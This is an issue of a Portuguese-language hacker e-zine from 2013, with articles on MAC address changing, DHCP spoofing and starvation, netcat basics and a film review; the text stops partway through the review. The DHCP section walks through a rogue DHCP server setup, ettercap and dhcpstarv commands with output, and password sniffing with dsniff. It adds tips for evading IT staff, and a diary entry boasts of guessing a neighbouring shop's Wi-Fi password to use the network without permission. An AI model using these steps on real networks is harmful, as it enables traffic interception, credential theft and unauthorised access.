_
(_) _
_ .=. (_)
(_) _ //(`)_
//`\/ |\ 0`\\
||-.\_|_/.-||
)/ |_____| \( _
0 #/\ /\# 0 (_)
_| o o |_
_ ((|, ^ ,|))
(_) `||\_/||`
|| _ || _
| \_/ | (_)
0.__.\ /.__.0
`._ `"` _.'
/ ; \ \
0'-' )/`'-0
0`
888b. .d88b. 8 .d88b. 8888P O
8wwwP 8P Y8 88b. 8P Y8 dP w 8d8b. .d88b
8 b 8b d8 8 8 8b d8 dP 8 8P Y8 8.ddb
888P' `Y88P' 88P' `Y88P' d8888 8 8 8 `Y88P
Edição: 00x02
Fevereiro de 2013
"O mundo não é mais controlado por armas, energia ou dinheiro.
É controlado por cifras e dados." - Filme "Sneakers", 1992.
..:: Introdução ::..
E aí pessoal, acharam que a e-zine iria morrer na primeira edição? rs
Até que a primeira edição conseguiu alguns leitores e rendeu alguns elo-
gios (acredite, isso é muito importante!). Andei sumido por uns tempos,
sabe como é né? Os estudos... O que você sabe nunca é o suficiente.
O tempo está passando e estou vendo como necessidade escrever mais textos,
justamente pelo fato de aprender mais escrevendo eles. Bem, para quem
está se deparando comigo agora, o propósito dessa zine não é, e nem tem
como objetivo, chegar aos pés de zines como a TheBugMagazine e Cogumelo
Binário. O objetivo aqui é compartilhar informações para toda uma grande
massa de newbies famintos por conhecimento que perambulam internet a
fora em busca de novas informações.
Se você quiser publicar algum texto meu no seu blog/site, tudo bem, pode
publicar. Mas por favor, meu nick é B0b0_d4_c0rt3 e o site é B0b0Labs, ok?
Coloque isso nos créditos. É chato encontrar algum texto meu com nick de
outro cara ;(
Mas enfim, espero que gostem desta edição! Go go go...
Tópicos
[1] Alterando o endreço MAC ....................... B0b0_d4_c0rt3
[2] DHCP Attacks ................................. B0b0_d4_c0rt3
[3] Querido diário ................................ B0b0_d4_c0rt3
[4] Netcat: A série ............................... B0b0_d4_c0rt3
[5] Filmes Hacku's ................................ B0b0_d4_c0rt3
[6] Enviando mensagens para users logados ......... B0b0_d4_c0rt3
[7] Free Software song ............................ Richard Stallman
[8] FIM ........................................... B0b0_d4_c0rt3
[1]========================================[+]
| Alterando o endereço MAC |
[+]========================================[1]
[ 0x100 Introducting... =D
Primeiro de tudo acho que todos aqui já sabem o que é uma placa de rede, afinal,
se conseguiu esse paper é porque está conectado a uma rede por meio de uma NIC.
NIC é uma outra forma de se referir a uma interface de rede, é a sigla para
Network Interface Card.
O objetivo principal desse texto é discutir sobre a alteração do endereço MAC.
A ideia é mostrar como na prática os sistemas operacionais salvam na memória os
endereços MAC. E como eles o acessam. (E como podemos alterá-lo).
[ 0x200 Interface de rede e endereço MAC
As interfaces de rede são equipamentos responsáveis por prover a comunicação
dos equipamentos em uma rede (computadores, roteadores, switchs e etc).
Os fabricantes de placas de rede inserem algumas informações em uma memória EEPROM
nestas placas, dentre as várias informações que são armazenadas encontramos
quantidade que dados que serão enviados, recebidos, buffer, etc, e um identicador:
uma sequência única no MUNDO de 48 bits.
Para que estes equipamentos possam trocar dados entre si, eles precisam destes
identificadores na camada de enlace para que os frames ethernet cheguem ao seu
destino e que o destino saiba para quem responder.
Este identificador é o famoso endereço "MAC", normalmente representado por 12
algarismos hexadecimais.
Em uma rede Ethernet (essas no qual usamos no dia-a-dia em LAN's), os frames
trocados pelos computadores tem em seu cabeçalho, no endereço de origem e destino,
o MAC das máquinas que estão se comunicando.
Como as camadas de protocolos funcionam de modo independente um do outro, a
camada do Ethernet precisa apenas saber o MAC do destinatário, independente
do sistema já ter o endereço IP (afinal, quem irá transportar os datagramas IP
serão os frames Ethernet). Então, quando já se sabe o endereço IP mas não o
MAC, a camada de rede utiliza-se do protocolo ARP para fazer a resolução de
"IP para MAC" e guardar temporiariamente em cache as associações IP/MAC no
sistema.
Uma coisa interessante é que o endereço MAC é implementado em qualquer dispositivo
que interaja em uma rede ethernet, ou seja, placas PCI, wireless, roteadores,
tablets, smartphones... Tudo isso tem endereço MAC.
Resumindo: Os fabricantes de placas de rede inserem nesses dispositivos endereços
únicos que serão usados pelo protocolo de enlace Ethernet para a troca de frames.
Como o foco aqui não é Ethernet, ARP etc, vamos prosseguir com o texto...
[ 0x300 Porque trocar meu endereço MAC?
Bem, se você não sabe porque trocar seu endereço MAC, então é melhor nem tentar
fazer isso rsrs. Mas existem algumas situações que trocar esse endereço se faz
necessário, como por exemplo, para quem se conecta em redes em que só é liberado
acesso para determinadas máquinas cujo MAC address esteja especificado no acess
point/roteador. Ou também para quem quer anonimidade em uma rede, não podendo
ser identificado pelo MAC original.
Enfim, existem várias situações que trocar o endereço da placa seria uma boa.
OK, B0b0! Mas se o endereço MAC está armazenado em uma memória EEPROM, como é
possível alterar o endereço dela? Uma vez que alterar dados de EEPROM envolveria
altos conhecimentos técnicos de eletrônica e programação.
Beleza, foi isso que eu me perguntei antes de pesquisar mais sobre isso.
[ 0x301 Alterando o MAC no Windows
Nas versões antigas do Windows, da versão 95 até á 2000, quando o Windows
requisitava o MAC da placa de rede do computador, ele se comunicava diretamente
com a placa por meio do driver.
Creio que pela falta de agilidade nesse procedimento de acesso as informações da
placa, a Microsoft a partir do Windows XP implementou uma nova maneira de acessar
as informações da NIC de forma mais rápida. Ao invés de toda vez acessar a placa
para pegar o MAC, o sistema simplesmente pega as principais informações da interface
de rede e salva no registro. Assim, toda vez que o sistema tiver que fornecer o
endereço MAC do computador, ele consultará uma determinada chave do registro, não
a placa.
É aí que entra os programas que alteram o endereço MAC!
Para ver seu endereço MAC, você pode rodar o comando "ipconfig" com o parâmetro /all
ou o comando "getmac" no prompt do Windows, no meu computador essa foi a saída:
Adaptador Ethernet Conexão local 2:
Sufixo DNS específico de conexão. . . . . . :
Descrição . . . . . . . . . . . . . . . . . : NIC Fast Ethernet PCI-E Realtek
Família RTL8101E (NDIS 6.20) #2
Endereço Físico . . . . . . . . . . . . . . : 00-30-70-D9-21-30 <- MAC Address :D
DHCP Habilitado . . . . . . . . . . . . . . : Sim
Configuração Automática Habilitada. . . . . : Sim
Endereço IPv4. . . . . . . . . . . . . . . : 192.168.1.4(Preferencial)
Na verdade saiu bem mais coisa, mas o que nos interessa é a opção "Endereço Físico" que
informa o endereço físico da minha placa: 00-30-70-D9-21-30. No seu PC obviamente vai
estar diferente.
[ 0x302 Mudança de MAC no Windows 7
O Windows 7 salva o seu endereço MAC em um valor do tipo string em alguma chave localizada
no caminho:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}
Quando disse "alguma chave", quis dizer que como a subchave {4D36E972-E325-11CE-BFC1-08002BE10318}
armazena várias informações sobre os adaptadores de rede (incluindo até interfaces virtuais como
as do VMware e do VirtualBox), uma das várias sub-chaves será a da interface que está sendo usada
pelo seu sistema.
Dentre as várias sub-chaves, encontrei uma chamada "0015" que NO MEU CASO armazena dados da
minha placa.
No meio dos vários dados encontrados na chave 0015, encontrei um valor do tipo string
chamado "NetworkAddress" armazenando o endereço MAC do meu computador.
Para então "alterar o endereço MAC" do meu computador, basta dar 'dois cliques' no valor
NetworkAddress e mudar o que estiver salvo lá. Mas só de alterar o MAC no registro não quer
dizer que a alteração já entrou em vigor, para que isso aconteça, desative a interface de
rede e ative-a novamente:
C:\> netsh interface set interface "Conexão local 2" disabled
C:\> netsh interface set interface "Conexão local 2" enabled
Obs: é preciso ter permissões de administrador pra desativar a placa via linha de comando.
Obs²: é possível desativar a placa lá em "Conexões de rede" no "Painel de Controle" ;D
Obs³: ou você pode reiniciar seu computador.
Vamos supor que o NetworkAddress continha o valor 003070D92130. Alterei para: 003070D92131.
Desabilitei e habilitei minha placa e rodei ipconfig /all novamente:
Adaptador Ethernet Conexão local 2:
Sufixo DNS específico de conexão. . . . . . :
Descrição . . . . . . . . . . . . . . . . . : NIC Fast Ethernet PCI-E Realtek
Família RTL8101E (NDIS 6.20) #2
Endereço Físico . . . . . . . . . . . . . . : 00-30-70-D9-21-31 <- Alterado!
DHCP Habilitado . . . . . . . . . . . . . . : Sim
Configuração Automática Habilitada. . . . . : Sim
Endereço IPv4. . . . . . . . . . . . . . . : 192.168.1.4(Preferencial)
Pronto!
No seu caso, você terá que ir fuçando manualmente as chaves e subchaves até encontrar a que
armazena dados da sua NIC. Você também pode usar a opção de pesquisa que o Regedit dispõe
para encontrar determinados valores ou chaves ;D
Bem, como meu experimento foi só no Windows 7, este procedimento pode ser diferente em uma
versão anterior ou posterior.
Também é possível fazer essa alteração de uma forma mais fácil. Basta acessar o Painel de
controle, ir lá nas opções de rede, ir nas "Propriedades" da NIC que você quer alterar
o endereço físico, clicar na aba "Avançado", selecionar a opção "Endereço de rede" e
adicionar um novo MAC address.
[ 0x500 E no Linux?
Como todos sabemos, o GNU/Linux não possui registro. Os dados carregados na memória desse
sistema pode ser encontrados nos diretórios virtuais "/proc" e "/sys".
No Linux, o endereço MAC é encontrado no arquivo "address" no caminho /sys/class/net/INTERFACE*
O "INTERFACE" varia de cada interface de rede no computador. No meu caso, o arquivo address
que contém o MAC do wlan0 é encontrado em /sys/class/net/wlan0/address.
Com apenas uma linha de comando você consegue fazer a alteração do MAC Address usando o
comando ifconfig:
ifconfig INTERFACE hw ether NOVOMAC
Você precisa saber qual é a interface de rede que seu sistema está usando, no meu caso é
wlan0, como estou conectado via wireless. Caso não saiba, rode o comando "ifconfig" que
ele irá listar as interfaces do seu computador.
Olhe como é a saída do meu ifconfig na iface wlan0:
wlan0 Link encap:Ethernet Endereço de HW 00:26:c7:aa:d2:d8
inet end.: 192.168.1.2 Bcast:192.168.1.255 Masc:255.255.255.0
endereço inet6: fe80::226:c7ff:feaa:d28c/64 Escopo:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Métrica:1
pacotes RX:345 erros:0 descartados:0 excesso:0 quadro:0
Pacotes TX:422 erros:0 descartados:0 excesso:0 portadora:0
colisões:0 txqueuelen:1000
RX bytes:197651 (197.6 KB) TX bytes:66757 (66.7 KB)
Como vocês podem ver, na primeira linha temos o "Endereço de HW" que nos informa o MAC
do meu computador.
Antes de mais nada, uma observação: O novo MAC só entra em vigor quando a interface for
reiniciada (não muito diferente do Windows).
Então, terei que desativar minha placa,
# ifconfig wlan0 down
alterar o MAC
# ifconfig wlan0 hw ether 00:26:c7:aa:2d:66
e ativá-la novamente:
# ifconfig wlan0 up
Analizando novamente o MAC, teremos:
-> Má rapá :D
B0b0@b0b0book:~$ ifconfig wlan0 |
wlan0 Link encap:Ethernet Endereço de HW 00:26:c7:aa:2d:66 <-
inet end.: 192.168.1.2 Bcast:192.168.1.255 Masc:255.255.255.0
endereço inet6: fe80::226:c7ff:feaa:d28c/64 Escopo:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Métrica:1
pacotes RX:32688 erros:0 descartados:0 excesso:0 quadro:0
Pacotes TX:19927 erros:0 descartados:0 excesso:0 portadora:0
colisões:0 txqueuelen:1000
RX bytes:45252163 (45.2 MB) TX bytes:2129621 (2.1 MB)
[ 0x400 Conferindo se o MAC foi mesmo trocado
Uma maneira que você pode fazer para conferir se o MAC do PC foi mesmo alterado,
pode ser usando o comando "arp" de um outro computador.
No início do texto eu disse que os sistemas em rede utilizam o protocolo ARP
para capturar o MAC dos outros equipamentos.
Mas eles precisam guardar por um tempo o endereço MAC dos respectivos IPs ativos
na rede para não ficar 'perguntando' toda hora e consequentemente gerar tráfego
desnecessário.
Assim, os IPs e MACs são armazenados em uma espécie de tabela, esta tabela pode
ser acessada pelo então já citado comando "arp".
Para comprovar a alteração, dê um ping no IP do PC com MAC alterado:
[b0b0@PC ~]$ ping 192.168.1.4 -c 3
PING 192.168.1.4 (192.168.1.4) 56(84) bytes of data.
64 bytes from 192.168.1.4: icmp_req=1 ttl=128 time=10.0 ms
64 bytes from 192.168.1.4: icmp_req=2 ttl=128 time=2.93 ms
64 bytes from 192.168.1.4: icmp_req=3 ttl=128 time=1.59 ms
Depois, acesse a tabela ARP do sistema, execute "arp -a" no shell:
[b0b0@PC ~]$ arp -a
? (192.168.1.4) em 00:30:70:d9:21:31 [ether] em wlan0 <---- Tcharamm!
? (192.168.1.1) em d3:e8:7b:3a:c9:1f [ether] em wlan0
[b0b0@PC ~]$
[ 0x500 Conclusão
A partir de agora temos uma noção melhor de como funcionam os programas que conseguem
alterar o MAC de nossos computadores, como o sMAC, aMAC e machanger. Também aprendemos
que a mudança não é permanente, ou seja, ela não altera os dados das nossas NIC's.
Se isso te serviu para alguma coisa, façam o que quiser com o conhecimento adquirido,
tanto para o bem ou para o mal!
[2]========================================[+]
| DHCP Attacks |
[+]========================================[2]
[ Introdução ao DHCP
Em uma rede TCP/IP, todas as máquinas precisam ser identificadas com números IP para
serem reconhecidas nela. Para que um computador consiga se comunicar sem problemas
na rede, ele precisa basicamente de duas informações:
* Endereço IP (único na rede).
* Máscara de subrede.
Para que este computador tenha uma maior interação com a rede (e com outras redes),
são necessarias mais outras duas informações: endereço do gateway e DNS.
Em redes pequenas é fácil configurar manualmente essas informações em cada host.
Mas o problema começa quando a rede tem muitos computadores e atribuir IP, máscara,
gateway e DNS manualmente se torna um problema.
Então para isso, foi criado o Protocolo de configuração dinâmica de host, em inglês,
Dynamic Host Configuration Protocol (D.H.C.P). O que esse serviço faz, é fornecer
as informações que os computadores precisam, atribuindo um IP diferente a cada
máquina de forma dinâmica e automática.
[ Como o DHCP funciona
O DHCP funciona no modo cliente/servidor. Em redes internas de grandes instituições,
empresas, e etc, é comum encontrar servidores dedicados quase que apenas para o DHCP.
Em redes domésticas os roteadores possuem um servidor DHCP ativo por padrão.
Todo servidor DHCP possui um tempo de concessão para cada IP fornecido. Isso quer dizer
que o endereço IP que o server concede aos clientes possui um tempo de utilização.
Isso serve para caso um host se desconecte da rede, após um tempo o IP dele possa ser
reutilizado por outro host.
O protocolo DHCP atua sobre o procotolo de transporte UDP e o serviço DHCP usa a porta
67 para receber requisições dos clientes e a porta 68 para responder a eles. Atualmente
todo sistema operacional, possui um cliente dhcp.
[ Como um cliente DHCP envia requisições ao servidor se ele ainda não tem um IP ?
Quando uma máquina cliente solicita um ip para o DHCP server da rede, ela não tem a
mínima ideia de quem é o servidor (ela nem sabe o IP dele). Então ela manda uma
requisição DHCP em broadcast encapsulada em um datagrama UDP cuja porta de origem é 68
e a de destino 67. Como o modo de envio é em broadcast, o endereço de destino é
255.255.255.255. O MAC do destino também é em broadcast ff:ff:ff:ff:ff:ff, já que ela
nem sabe o endereço físico do server. Como ela ainda não tem um IP, o endereço que será
usado até então é o ip de rede: 0.0.0.0.
Desse modo, todas as máquinas da rede local receberá a requisição DHCP, mas apenas
o servidor irá processar o pedido e irá responder (ainda em broadcast) com as
informações para a máquina. Só o cliente que fez a primeira requisição tomará as
informações para si. Os outros hosts que receberem a resposta do servidor simplesmente
ignorará, uma fez que o frame ethernet gerado pelo servidor possui o MAC do cliente.
[ DHCP Spoofing
Podemos nos aproveitar do funcionamento do DHCP para capturar o tráfego dos hosts,
realizando o conhecido MITM: Man-in-the-middle. Onde nosso computador ficará entre
a comunicação dos clientes e o verdadeiro gateway da rede. Esta técnica é conhecida
como "DHCP Spoofing". Uma vez todos os dados transmitidos e recebidos pelos hosts
passarem pelo nosso sistema, podemos utilizar de sniffers para capturar senhas e até
roubar sessões já antes estabelecidas.
[ Como funciona o ataque
Já que as requisições DHCP são enviadas em broadcast em toda rede, podemos criar um
servidor DHCP malicioso cujo endereço do gateway seja o IP da nossa máquina e esperar
pelas requisições dos clientes, "disputando" com o servidor DHCP real.
Uma vez uma máquina cliente ter como gateway o IP do 'hacker', todos os dados serão
transmitidos para ele.
Na prática, basicamente precisaremos fazer o seguinte:
* Configurar um DHCP Server, cujo IP do gateway seja o IP da nossa própria máquina.
* Rodar o servidor.
* Esperar pelos clientes....
A desvantagem desse tipo de ataque, é que não são todas as máquinas que iremos pegar,
e se um dos usuários da rede for esperto, ele pode desconfiar caso o IP do gateway
da máquina dele estiver configurado com um endereço diferente do normal :¬)
[ Preparar... Apontar...
Existem programas prontos que fazem esse ataque por nós. Mas neste artigo optei
por fazer esse procedimento "na unha" mesmo rs. Os testes foram feitos em um sistema
Debian 6.0, e a vítima um Windows XP.
Para configurar o servidor, teremos que instalar o seguinte pacote:
root@Deadpool:~# apt-get install dhcp3-server
Uma vez instalado o pacote, ele criará o diretório "dhcp" em /etc.
Neste diretório, edite o arquivo de configuração dhcpd.conf.
Recomendo apagar este arquivo ou fazer um backup dele, pois iremos
usar apenas do código abaixo.
root@Deadpool:~# nano /etc/dhcp/dhcpd.conf
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.40 192.168.1.60;
option routers 192.168.1.6;
option domain-name-servers 8.8.8.8;
option broadcast-address 255.255.255.255;
}
No meu caso, o DHCP distribui IPs para uma rede classe C. As informações são:
Endereço de rede: 192.168.1.0
Máscara de subrede: 255.255.255.0
Broadcast: 255.255.255.255
Range de ips que serão usados: de 192.168.1.40 até 192.168.1.60
Gateway: 192.168.1.6 (O endereço IP do próprio servidor)
Servidor de DNS: 8.8.8.8
O perigo está na linha: "option routers 192.168.1.6;". Esta linha determina
para as máquinas clientes quem é o gateway delas, neste caso o IP que será
atribuido é o do próprio servidor (a máquina do atacante).
Agora que já instalamos o servidor e configuramos ele, precisamos reiniciá-lo
para que o dados que configuramos entre em vigor:
root@Deadpool:~# service isc-dhcp-server restart
Pronto! O servidor está configurado e quase pronto pro ataque!
"Quase !?" O que falta mais?
Como nosso computador além de atuar como servidor de DHCP, ele terá que ser um
roteador também! Então para isso, teremos que ativar a capacidade do nosso sistema
de fazer "forwarding" de pacotes que não são destinados a ele.
Vamos a ativar dando o valor TRUE para o arquivo de kernel "ip_forward":
root@Deadpool:~# echo 1 > /proc/sys/net/ipv4/ip_forward
Agora sim...
Duas dicas:
1 - Certifique-se a rota default dos dados repassados serão para o gateway
original com o "route -n". Afinal, não queremos que ninguém fique sem
internet né?
2 - Adapte o ataque para cada rede em que será realizado. Não queremos um
servidor DHCP distribuindo IPs de classe C em uma rede de A.
[ Fogo!!!
Agora é só preparar os sniffers para capturar logins de FTP, Telnet (sim, hoje em dia
quase não se usa isso, mas se estiver snifando uma rede grande poderá quem sabe catar
senha de roteador), SMTP e etc. Um bom sniffer que pode nos ajudar nessa façanha é o
dsniff. Outro muito bom também é o ettercap.
Para capturar senhas com o dsniff, simplesmente digite: "dsniff" no shell. Com este
sniffer você pode especificar a interface que será farejada com o parâmetro -i (por
padrão ele já detecta a iface que tá sendo usada), e pode gravar os dados capturados
em um arquivo com "-w". Ex:
root@Deadpool:~# dsniff -i eth0 -w capturados
Para capturar senhas com o ettercap, digite: ettercap -T -q
Uma coisa chatinha desse sniffer, é que toda vez que ele é encerrado, ela volta o
arquivo ip_forward ao normal (insere o '0' novamente, desativando o forwarding).
Dica: altere o arquivo etter.conf para rodar o ettercap como root. (Não vou entrar
em detalhes sobre o Ettercap, pois pretendo dedicar um texto a ele.)
Na grande maioria das vezes, o cara que vai realizar um MITM possui um sistema dotado
de interface gráfica. Então, nada melhor que desfrutar de todos os recursos do
excelente Wireshark para nós analizarmos todo o tráfego. Com o Wireshark você pode
filtrar a captura para mostrar apenas o(s) protocolo(s) que você queria pegar dados
(e que dados você quer pegar).
[ Concluindo
Pronto! Agora sabemos como funciona e como arquitetar um ataque de DHCP Spoofing. Só
tenha cuidado para não ser identificado.
Algumas dicas:
* Altere o endereço MAC da sua máquina.
* Não faça esse ataque por muito tempo. Pois uma vez os cara da
área de TI perceberem uma queda no desempenho da rede, ou outras
anomalias, eles podem tomar medidas contra isso (DHCP Snooping!).
* Não deixe portas abertas no seu sistema que possa te identificar!
(samba, nfs, ssh, ftp...). Alguém pode te escanear.
Ei... lembra quando eu disse que "existem programas prontos que fazem isso por nós" ?
Para o texto não ficar muito vago e chato, vamos ver como fazer isso com o Ettercap!!!
[ DHCP Spoofing with Ettercap
Para tal façanha o esquema é o seguinte:
ettercap -T -q -i IFACE -M dhcp:FAIXA-DE-IPs/MÁSCARA.DE.SUBREDE/ENDEREÇO.DNS
Não precisamos especificar o nosso IP, pois o ettercap já subentende que o IP do gateway
é o IP do cara que o está executando.
Na prática seria o seguinte:
root@Deadpool:~# ettercap -T -q -i eth0 -M dhcp:192.168.1.10-50/255.255.255.0/8.8.8.8
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth0... (Ethernet)
eth0 -> 08:00:27:ED:EB:17 192.168.1.6 255.255.255.0
SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 0 GID 0...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
DHCP spoofing: using specified ip_pool, netmask 255.255.255.0, dns 8.8.8.8
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
DHCP: [00:26:C7:AA:C3:9B] REQUEST 192.168.1.10
DHCP spoofing: fake ACK [00:26:C7:AA:C3:9B] assigned to 192.168.1.10
DHCP: [192.168.1.6] ACK : 192.168.1.10 255.255.255.0 GW 192.168.1.6 DNS 8.8.8.8
Podemos perceber pelas últimas 3 linhas que uma máquina cujo MAC é 00:26:C7:AA:C3:9B
recebeu o endereço 192.168.1.10.
[ Aumentando o poder de destruição...
Lembra quando eu disse que:
"Todo servidor DHCP possui um tempo de concessão para cada IP fornecido" ...?
E lembra quando eu disse:
"[...] podemos criar um servidor DHCP malicioso cujo endereço do gateway seja o
IP da nossa máquina e esperar pelas requisições dos clientes, "disputando" com
o servidor DHCP real." ... ?
Pois é, é possível a gente se aproveitar do tempo de concessão do servidor DHCP real
para termos vantagem sobre a disputa com nosso "DHCP malicious". Isso utilizando
uma técnica chamada de:
[ DHCP Starvation
Em bom e velho português (e traduzido pelo Google Translate), "starvation" significa
"fome". O nome desse ataque faz referência ao que acontece quando ele está ocorrendo:
Iremos 'comer' todos os endereços IPs que o servidor DHCP fornece. Dessa forma a gente
consegue consumir todo (ou quase todo) range de IP's que o servidor consegue fornecer.
Isso é muito bom no momento que iremos fazer DHCP spoofing. Pois uma vez o DHCP real
não conseguir distribuir IPs para os clientes, irá sobrar apenas nosso servidor. Aí
podemos fazer a festa!
Mas B0b0, como isso é possível?
Utilizando de um programa ou script especialmente projetado para esse tipo de ataque,
da nossa máquina centenas de DHCP requests partirão para toda a rede. O servidor DHCP
quando receber cada uma destas requisições ingenuamente irá atribuir um IP para elas.
Como para cada IP fornecido há um tempo de concessão, por um determinado tempo, vários
endereços IPs ficarão ocupados, impedindo que clientes legítimos os adquirem. Isso
abre uma brecha para nós ativarmos nosso DHCP fake e receber as requisições de muitas
máquinas.
[ Botando a mão na massa
Vamos usar a tool Dhcpstarv. Site oficial da ferramenta:
http://dhcpstarv.sourceforge.net/
Baixe-o neste link:
http://sourceforge.net/project/platformdownload.php?group_id=212181
Baixando, descompactando e instalando.
root@Deadpool:~# wget http://ufpr.dl.sourceforge.net/project/dhcpstarv/dhcpstarv/0.2.1/dhcpstarv-0.2.1.tar.gz
root@Deadpool:~# tar zxvf dhcpstarv-0.2.1.tar.gz
root@Deadpool:~# cd dhcpstarv-0.2.1/
root@Deadpool:~/dhcpstarv-0.2.1# ./configure
root@Deadpool:~/dhcpstarv-0.2.1# make && make install
Os parâmetros do dhcpstarv são estes:
-h, imprime o help.
-d, permite nós especificarmos o MAC do gateway para que os
requests não ocorram em broadcast.
-i, especifica a interface de rede que será usada.
-e, permite que seja ignorado as respostas DHCP de um determinado
servidor.
-v, apresenta mensagem sobre o que está acontecendo.
-p, não coloca a interface usada em modo promísuco.
O parâmetro -e é útil quando estamos fazendo um ataque de DHCP Starvation e Spoofing
simultaneamente. Isso serve para que o dhcpstarv não ataque nosso próprio DHCP do mal.
Na prática, caso o ataque ocorra simultanemente com um DHCP Spoofing, teremos que
especificar o nosso endereço IP para que o dhcpstarv ignore os replies do nosso server.
O parâmetro -d também é muito útil, caso sabemos o endereço MAC do servidor DHCP. Desse
modo todos os requests serão enviados diretamente ao servidor, sem a necessidade de
ser em broadcast.
[ Flodando...
Chega de conversa e vamos lá!
Um ataque básico seria simplesmente assim:
root@Deadpool:~# dhcpstarv -i eth0
Agora, se o MAC do gateway for 00:0e:f4:9a:1a:50. Fazemos o seguinte:
root@Deadpool:~# dhcpstarv -i eth0 -d 00:0e:f4:9a:1a:50
Se a gente quiser que as requisições DHCP não sejam respondidas pelo no nosso server fake,
é só especificar o IP da nossa máquina, como em:
root@Deadpool:~# dhcpstarv -i eth0 -e 192.168.1.6
[ Fim.
Aqui, floodar o DHCP do meu roteador demora muito.
Mas se o ataque acontece em uma rede grande (como uma de faculdade),
rapidinho consegue-se êxito.
Pronto, acabei.
[3]========================================[+]
| Querido diário |
[+]========================================[3]
Quebrar senhas Wifi é o sonho de muita gente. Uma vez eu estava trabalhando
em uma loja que ficava ao lado de uma drogaria, a loja onde eu ficava não tinha
internet ;( Mas a drogaria tinha!
Naquela farmácia havia uma rede wireless WPA2 habilitada e graças a Deus o sinal
pegava na minha loja. Eu pensava várias maneiras de conseguir a senha daquela
rede. Até que resolvi pensar o seguinte: SE EU FOSSE OS CARAS DA FARMÁCIA, QUE
SENHA EU COLOCARIA?
Criei uma pequena lista de todas as possíveis senhas e resolvi testá-las uma
a uma. Até que eu consegui conectar no Wifi deles: A senha era o telefone
que estava estampado no topo da drogaria.
Depois disso, desfrutei da internet (lenta e) gratuita por um bom tempo.
Moral da história: Não adianta ter uma rede com uma criptografia forte se a
senha é fraca.
[4]========================================[+]
| Netcat: A série |
[+]========================================[4]
Vou tentar neste tópico enumerar o maior número de coisas possíveis a se fazer com
o netcat. Este é o primeiro de vários outros tópicos que encontraremos nas próximas
edições.
Um canivete suíço, diferente de um canivete comum, possui muito mais utilidade por
atender a várias necessidades de seu utilizador. Por isso o termo 'canivete suíço' é
utilizado para se referir á algo que possui multi-utilidades.
O netcat é um software aparentemente simples por ser leve e de utilização via linha
de comando. Foi desenvolvido por "Hobbit" em 1996, trabalha com os protocolos de
transporte TCP e UDP. Originalmente, foi desenvolvido para Unix, mas hoje está presente
para os principais sistemas operacionais: Linux, Windows e Mac OS (Não esquecendo o fato
de o linux e o mac os de certo modo, ser um tipo de unix também).
O netcat, é comumente chamado de "canivete suíço" por ser utilizado de diversas maneiras
envolvendo protocolos do TCP/IP e o sistema operacional.
Ao contrário do que se pensa, o netcat não é um software malicioso. Malicioso são as
maneiras usadas pelo seu utilizador.
O netcat é bem flexível, e pode ser utilizado como "cliente" para diversos protocolos de
aplicação como: SMTP, FTP, POP3, HTTP, TELNET e etc. Isso se deve ao fato do netcat não
atuar na camada de aplicação, mais sim, no protocolo de transporte. Dessa forma, é possível
conectar em uma porta e rodar os comandos do protocolo de aplicação no servidor.
Quando instalado em uma máquina, o netcat pode ser utilizado com o comando "nc" seguido
de parâmetros. Basicamente, pode ser usado como servidor ou cliente.
[ Parâmetros de utilização
Por ser em modo texto, operar o netcat é necessário saber os parâmetros necessários. Os
parâmetros são simples caracteres que representam o que queremos fazer com o ele.
Dentre os vários parâmetros existentes, vejamos os mais utilizados:
-l : listen, deixa o netcat em estado de escuta, esperando por uma conexão (geralmente usado
em conjunto com o parâmetro -p).
-p : port, define uma porta á ser usada para receber conexões.Ele é usado com a junção -p
seguido do número da porta que será aberta. (Ex: nc -l -p 23)
Obs: Se você rodar o netcat apenas no modo listen (-l), sem especificar a porta com
-p, ele irá abrir uma porta alta de numeração aleatória.
-v : verbose, com esta opção o processo de conexão será mais detalhado.
-e: filename, especifica um arquivo que será executado após receber uma conexão.
-u: UDP, por padrão, o netcat utiliza o protocolo TCP. Com a opção -u, faremos conexões
usando o UDP.
-z: zero mode, o modo zero faz com que o nc ao se conectar em um servidor, não mostre
o banner e nem espere interação do usuário. Uso para portscan.
-n: não fazer resolução de nomes.
-w: especifica quantos segundos a conexão ficará estabelecida.
[ Chat: o exemplo mais clichê do netcat!
Para fazer uma espécie de Chat, teremos que abrir uma porta em uma máquina que irá atuar
como servidor e se conectar á esta porta por uma outra máquina que será a cliente.
Para isto usaremos a seguinte sintaxe na máquina servidora:
C:\> nc -lvp 8989
Explicação: o comando nc irá chamar o netcat, o parâmetro -l deixará em modo de 'listagem'
á espera de conexão.A opção -v serve para que o processo de conexão seje detalhada, mostrando
os dados que são transferidos enquanto há conexão, e por fim vem o parâmetro -p seguido de 8989,
isto fará com que o netcat abra uma porta de numeração 8989.
OBS: Podemos unir os parâmetros ou usá-los de forma separada.
Ex: nc -l -v -p 8989
Na máquina cliente não há segredos para se conectar, podemos usar o netcat para este procedimento
ou o próprio cliente telnet do sistema operacional.
Conectaremos da seguinte forma:
C:\> telnet IP.DO.SERVIDOR 8989
(Ex: telnet 127.0.0.1 8989)
O que ocorrerá após o cliente se conectar é o que se assemelha á um chat, ambos os usuários das
duas máquinas poderão escrever no shell. Os caracteres que serão digitados são exibidos em tempo
real na outra máquina.
[5]========================================[+]
| Filmes Hacku's |
[+]========================================[5]
Sneakers (1992)
Este filme sem dúvida é um dos melhores que eu já vi do gênero. Encontrei possíveis
referências que podem indicar que Dan Brown antes de escrever o livro "Fortaleza Digital"
possa ter assistido este filme primeiro.
Enfim, o filme conta a aventura de um grupo de hackers(?) que trabalham com identificação
de vulnerabilidades em empresas. Conversa vai conversa vem, eles são contratados por uns
caras que se dizem da NSA (National Security Agency, local onde eu trabalho ;), a missão
deles é roubar um equipamento desenvolvido por um matemático que consegue quebrar qualquer
criptografia (Obs, olha a ambiguidade aÊ, era o equipamento que quebra criptografia, não o
matemático ok ?).
O filme tem algumas doses de humor (mas não é comédia), e teve um roteiro muito bem escrito.
Para saber mais sobre o filme, a melhor coisa seria baixando-o no link abaixo:
